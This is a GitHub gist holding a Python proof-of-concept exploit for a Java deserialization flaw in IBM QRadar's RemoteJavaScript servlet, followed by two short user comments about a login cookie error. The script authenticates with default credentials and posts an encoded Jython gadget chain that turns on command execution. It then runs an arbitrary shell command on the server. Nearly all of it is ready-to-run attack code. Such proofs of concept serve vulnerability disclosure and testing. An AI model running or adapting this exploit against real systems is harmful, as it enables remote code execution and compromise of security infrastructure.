Skip to content

Instantly share code, notes, and snippets.

@ykoster
Created April 16, 2020 08:12
Show Gist options
  • Save ykoster/90d3d13fe70c357ae93f5ddb3faee4f2 to your computer and use it in GitHub Desktop.
Save ykoster/90d3d13fe70c357ae93f5ddb3faee4f2 to your computer and use it in GitHub Desktop.
Proof of concept for Java deserialization vulnerability in QRadar RemoteJavaScript Servlet
#!/usr/bin/env python3
import json
import random
import urllib3
import requests
import urllib.parse
base_url='https://127.0.0.1/'
username='admin'
password='initial'
verifycert=False
cmd='id'
gadget="""rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBh
cmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc30AAAABABRqYXZhLnV0aWwuQ29t
cGFyYXRvcnhyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZh
L2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNyABpvcmcucHl0aG9uLmNvcmUuUHlG
dW5jdGlvbj/mX1lrZ5crAgAITAALX19jbG9zdXJlX190ABpMb3JnL3B5dGhvbi9jb3JlL1B5T2Jq
ZWN0O0wACF9fY29kZV9fdAAYTG9yZy9weXRob24vY29yZS9QeUNvZGU7WwAMX19kZWZhdWx0c19f
dAAbW0xvcmcvcHl0aG9uL2NvcmUvUHlPYmplY3Q7TAAIX19kaWN0X19xAH4ACEwAB19fZG9jX19x
AH4ACEwAC19fZ2xvYmFsc19fcQB+AAhMAApfX21vZHVsZV9fcQB+AAhMAAhfX25hbWVfX3QAEkxq
YXZhL2xhbmcvU3RyaW5nO3hyABhvcmcucHl0aG9uLmNvcmUuUHlPYmplY3Taqmp/XF0LewIAAkwA
CmF0dHJpYnV0ZXN0ABJMamF2YS9sYW5nL09iamVjdDtMAAdvYmp0eXBldAAYTG9yZy9weXRob24v
Y29yZS9QeVR5cGU7eHBwc3IAI29yZy5weXRob24uY29yZS5QeVR5cGUkVHlwZVJlc29sdmVye4FT
xZ5iavkCAANMAAZtb2R1bGVxAH4AC0wABG5hbWVxAH4AC0wAEHVuZGVybHlpbmdfY2xhc3N0ABFM
amF2YS9sYW5nL0NsYXNzO3hwdAALX19idWlsdGluX190AAhmdW5jdGlvbnZxAH4AB3BzcgAab3Jn
LnB5dGhvbi5jb3JlLlB5Qnl0ZWNvZGXmPliz+rZsOAIACEkADGNvX3N0YWNrc2l6ZUkABWNvdW50
WgAFZGVidWdJAAhtYXhDb3VudFsAB2NvX2NvZGV0AAJbQlsACWNvX2NvbnN0c3EAfgAKWwAJY29f
bG5vdGFicQB+ABdbAAhjb19uYW1lc3QAE1tMamF2YS9sYW5nL1N0cmluZzt4cgAab3JnLnB5dGhv
bi5jb3JlLlB5QmFzZUNvZGVedtREQcOUdAIADEkAC2NvX2FyZ2NvdW50SQAOY29fZmlyc3RsaW5l
bm9JAApjb19ubG9jYWxzSQAManlfbnB1cmVjZWxsSQAFbmFyZ3NaAAd2YXJhcmdzWgAJdmFya3dh
cmdzWwALY29fY2VsbHZhcnNxAH4AGEwAC2NvX2ZpbGVuYW1lcQB+AAtMAAhjb19mbGFnc3QAH0xv
cmcvcHl0aG9uL2NvcmUvQ29tcGlsZXJGbGFncztbAAtjb19mcmVldmFyc3EAfgAYWwALY29fdmFy
bmFtZXNxAH4AGHhyABZvcmcucHl0aG9uLmNvcmUuUHlDb2RldFRmEjeCxTsCAAFMAAdjb19uYW1l
cQB+AAt4cQB+AAxwc3EAfgAQcQB+ABN0AAhieXRlY29kZXZxAH4AFnQACDxtb2R1bGU+AAAAAgAA
AAAAAAACAAAAAAAAAAIAAHB0AAZub25hbWVzcgAdb3JnLnB5dGhvbi5jb3JlLkNvbXBpbGVyRmxh
Z3NsuDsGjrsQDwIABVoAEWRvbnRfaW1wbHlfZGVkZW50WgAIb25seV9hc3RaAA5zb3VyY2VfaXNf
dXRmOEwACGVuY29kaW5ncQB+AAtMAAVmbGFnc3QAD0xqYXZhL3V0aWwvU2V0O3hwAAAAcHNyACRq
YXZhLnV0aWwuRW51bVNldCRTZXJpYWxpemF0aW9uUHJveHkFB9PbdlTK0QIAAkwAC2VsZW1lbnRU
eXBlcQB+ABFbAAhlbGVtZW50c3QAEVtMamF2YS9sYW5nL0VudW07eHB2cgAYb3JnLnB5dGhvbi5j
b3JlLkNvZGVGbGFnAAAAAAAAAAASAAB4cgAOamF2YS5sYW5nLkVudW0AAAAAAAAAABIAAHhwdXIA
EVtMamF2YS5sYW5nLkVudW07qI3qLTPSL5gCAAB4cAAAAAN+cQB+ACh0AAlDT19ORVNURUR+cQB+
ACh0ABRDT19HRU5FUkFUT1JfQUxMT1dFRH5xAH4AKHQAGENPX0ZVVFVSRV9XSVRIX1NUQVRFTUVO
VHB1cgATW0xqYXZhLmxhbmcuU3RyaW5nO63SVufpHXtHAgAAeHAAAAACdAAAcQB+ADUAAAAKAAAA
AAD/////dXIAAltCrPMX+AYIVOACAAB4cAAAAA50AABkAQCDAQABZAAAU3VyABtbTG9yZy5weXRo
b24uY29yZS5QeU9iamVjdDslBEDVG9AEPwIAAHhwAAAAAnNyABhvcmcucHl0aG9uLmNvcmUuUHlT
dHJpbmfsmqvcxceFPQIAAkwABmV4cG9ydHQAGUxqYXZhL2xhbmcvcmVmL1JlZmVyZW5jZTtMAAZz
dHJpbmdxAH4AC3hyABxvcmcucHl0aG9uLmNvcmUuUHlCYXNlU3RyaW5nJRdR6LMJL5wCAAB4cgAa
b3JnLnB5dGhvbi5jb3JlLlB5U2VxdWVuY2VVWk8UTkM+4QIAAUwACWRlbGVnYXRvcnQAJ0xvcmcv
cHl0aG9uL2NvcmUvU2VxdWVuY2VJbmRleERlbGVnYXRlO3hxAH4ADHBzcQB+ABBxAH4AE3QAA3N0
cnZxAH4AOnNyAC9vcmcucHl0aG9uLmNvcmUuUHlTZXF1ZW5jZSREZWZhdWx0SW5kZXhEZWxlZ2F0
ZW3qVysKcqaAAgABTAAGdGhpcyQwdAAcTG9yZy9weXRob24vY29yZS9QeVNlcXVlbmNlO3hyACVv
cmcucHl0aG9uLmNvcmUuU2VxdWVuY2VJbmRleERlbGVnYXRlvffQiXTav44CAAB4cHEAfgA/cHEA
fgA1c3EAfgA6cHEAfgBAc3EAfgBDcQB+AEdwdACNX19pbXBvcnRfXygnY29tLnExbGFicy5mcmFt
ZXdvcmtzLnV0aWwuUVN5c3RlbScsIGdsb2JhbHMoKSwgbG9jYWxzKCksIFsnc2V0UHJvcGVydHkn
XSwgMCkuc2V0UHJvcGVydHkoJ2NvbnNvbGUuZW5hYmxlRXhlY3V0ZUNvbW1hbmQnLCAndHJ1ZScp
dXEAfgA2AAAAAHVxAH4AMwAAAAF0AARldmFscHBzcgAkb3JnLnB5dGhvbi5jb3JlLlB5JFNpbmds
ZXRvblJlc29sdmVyBUXg0SX9LrwCAAFMAAV3aGljaHEAfgALeHB0AAROb25lc3IAG29yZy5weXRo
b24uY29yZS5QeVN0cmluZ01hcGdX0XP7V4sWAgABTAAFdGFibGV0ACRMamF2YS91dGlsL2NvbmN1
cnJlbnQvQ29uY3VycmVudE1hcDt4cQB+AAxwc3EAfgAQcQB+ABN0AAlzdHJpbmdtYXB2cQB+AFBz
cgAmamF2YS51dGlsLmNvbmN1cnJlbnQuQ29uY3VycmVudEhhc2hNYXBkmd4SnYcpPQMAA0kAC3Nl
Z21lbnRNYXNrSQAMc2VnbWVudFNoaWZ0WwAIc2VnbWVudHN0ADFbTGphdmEvdXRpbC9jb25jdXJy
ZW50L0NvbmN1cnJlbnRIYXNoTWFwJFNlZ21lbnQ7eHAAAAAPAAAAHHVyADFbTGphdmEudXRpbC5j
b25jdXJyZW50LkNvbmN1cnJlbnRIYXNoTWFwJFNlZ21lbnQ7Unc/QTKbOXQCAAB4cAAAABBzcgAu
amF2YS51dGlsLmNvbmN1cnJlbnQuQ29uY3VycmVudEhhc2hNYXAkU2VnbWVudB82TJBYkyk9AgAB
RgAKbG9hZEZhY3RvcnhyAChqYXZhLnV0aWwuY29uY3VycmVudC5sb2Nrcy5SZWVudHJhbnRMb2Nr
ZlWoLCzIausCAAFMAARzeW5jdAAvTGphdmEvdXRpbC9jb25jdXJyZW50L2xvY2tzL1JlZW50cmFu
dExvY2skU3luYzt4cHNyADRqYXZhLnV0aWwuY29uY3VycmVudC5sb2Nrcy5SZWVudHJhbnRMb2Nr
JE5vbmZhaXJTeW5jZYgy51N7vwsCAAB4cgAtamF2YS51dGlsLmNvbmN1cnJlbnQubG9ja3MuUmVl
bnRyYW50TG9jayRTeW5juB6ilKpEWnwCAAB4cgA1amF2YS51dGlsLmNvbmN1cnJlbnQubG9ja3Mu
QWJzdHJhY3RRdWV1ZWRTeW5jaHJvbml6ZXJmVahDdT9S4wIAAUkABXN0YXRleHIANmphdmEudXRp
bC5jb25jdXJyZW50LmxvY2tzLkFic3RyYWN0T3duYWJsZVN5bmNocm9uaXplcjPfr7mtbW+pAgAA
eHAAAAAAP0AAAHNxAH4AW3NxAH4AXwAAAAA/QAAAc3EAfgBbc3EAfgBfAAAAAD9AAABzcQB+AFtz
cQB+AF8AAAAAP0AAAHNxAH4AW3NxAH4AXwAAAAA/QAAAc3EAfgBbc3EAfgBfAAAAAD9AAABzcQB+
AFtzcQB+AF8AAAAAP0AAAHNxAH4AW3NxAH4AXwAAAAA/QAAAc3EAfgBbc3EAfgBfAAAAAD9AAABz
cQB+AFtzcQB+AF8AAAAAP0AAAHNxAH4AW3NxAH4AXwAAAAA/QAAAc3EAfgBbc3EAfgBfAAAAAD9A
AABzcQB+AFtzcQB+AF8AAAAAP0AAAHNxAH4AW3NxAH4AXwAAAAA/QAAAc3EAfgBbc3EAfgBfAAAA
AD9AAABzcQB+AFtzcQB+AF8AAAAAP0AAAHBweHEAfgBOcQB+ACB3BAAAAANzcgARamF2YS5sYW5n
LkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIA
AHhwAAAAAXEAfgCEeA=="""
if not verifycert:
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
response = requests.get(f'{base_url}console/',
verify=verifycert, allow_redirects=False,
auth=requests.auth.HTTPBasicAuth(username, password))
if response.status_code != 302:
print(f"failed login as '{username}'")
exit(1)
cookies = response.cookies
headers = {'SEC': cookies['SEC']}
call = {'method': 'qradar.validateChangesAssetConfiguration', 'QRadarCSRF': cookies['QRadarCSRF'],
'id': f'{random.randint(0, 99999999)}',
'params': {'changedSettings': urllib.parse.quote(gadget)} }
response = requests.post(f'{base_url}console/remoteJavaScript',
verify=verifycert, cookies=cookies,
headers=headers, data=json.dumps(call))
call = {'method': 'qradar.executeCommand', 'QRadarCSRF': cookies['QRadarCSRF'],
'id': f'{random.randint(0, 99999999)}',
'params': {'command': cmd, 'timeoutSeconds': '10'} }
response = requests.post(f'{base_url}console/remoteJavaScript',
verify=verifycert, cookies=cookies,
headers=headers, data=json.dumps(call))
try:
result = json.loads(response.text)['result']
if len(result['stdOut']) > 0:
print(result['stdOut'])
if len(result['stdErr']) > 0:
print(result['stdErr'])
except:
print(response.text)
@pacho110791
Copy link

Hi

I tried to use the code, but it show me the next error:

File "./qradar.py", line 95, in
headers = {'SEC': cookies['SEC']}
File "/usr/lib/python3/dist-packages/requests/cookies.py", line 328, in getitem
return self._find_no_duplicates(name)
File "/usr/lib/python3/dist-packages/requests/cookies.py", line 399, in _find_no_duplicates
raise KeyError('name=%r, domain=%r, path=%r' % (name, domain, path))
KeyError: "name='SEC', domain=None, path=None"

Did you present any errors of this type?

@ykoster
Copy link
Author

ykoster commented Oct 14, 2020

Hi @pacho110791,

Do you get a SEC cookie when logging into QRadar? It looks like you're not getting any.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment